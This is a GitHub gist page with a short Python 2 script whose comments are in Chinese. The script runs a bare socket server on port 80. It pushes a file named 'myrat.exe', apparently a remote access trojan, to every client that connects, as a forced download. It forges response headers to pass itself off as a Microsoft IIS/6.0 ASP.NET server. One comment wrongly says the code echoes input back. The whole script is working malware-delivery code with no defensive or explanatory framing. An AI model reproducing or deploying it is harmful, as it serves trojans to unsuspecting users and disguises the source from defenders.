Created
May 24, 2018 08:04
-
-
Save R1ngK3y/090a6218898324b4207ef60e2e74381e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: UTF-8 -*- | |
import socket | |
import threading, getopt, sys, string | |
import re | |
#设置默认的最大连接数和端口号 | |
list=50 | |
port=80 | |
file_contents=open('myrat.exe','rb').read() | |
def req_server(): | |
return 'HTTP/1.1 200 OK\r\nContent-Length: 303641\r\nContent-Type: application/force-download\r\nLast-Modified: Fri, 10 Jan 2014 03:54:35 GMT\r\nAccept-Ranges: bytes\r\nETag: "80f5adb7dcf1:474"\r\nServer: Microsoft-IIS/6.0\r\nX-Powered-By: ASP.NET\r\nDate: Thu, 24 May 2018 06:25:45 GMT\r\nConnection: close\r\n\r\n'+file_contents | |
def jonnyS(client, address): | |
try: | |
#设置超时时间 | |
client.settimeout(500) | |
#接收数据的大小 | |
buf = client.recv(2048) | |
print buf | |
#将接收到的信息原样的返回到客户端中 | |
client.send(req_server()) | |
#超时后显示退出 | |
except socket.timeout: | |
print 'time out' | |
#关闭与客户端的连接 | |
client.close() | |
def main(): | |
#创建socket对象。调用socket构造函数 | |
#AF_INET为ip地址族,SOCK_STREAM为流套接字 | |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
#将socket绑定到指定地址,第一个参数为ip地址,第二个参数为端口号 | |
sock.bind(('0.0.0.0', port)) | |
#设置最多连接数量 | |
sock.listen(list) | |
while True: | |
#服务器套接字通过socket的accept方法等待客户请求一个连接 | |
client, address = sock.accept() | |
thread = threading.Thread(target=jonnyS, args=(client, address)) | |
thread.start() | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment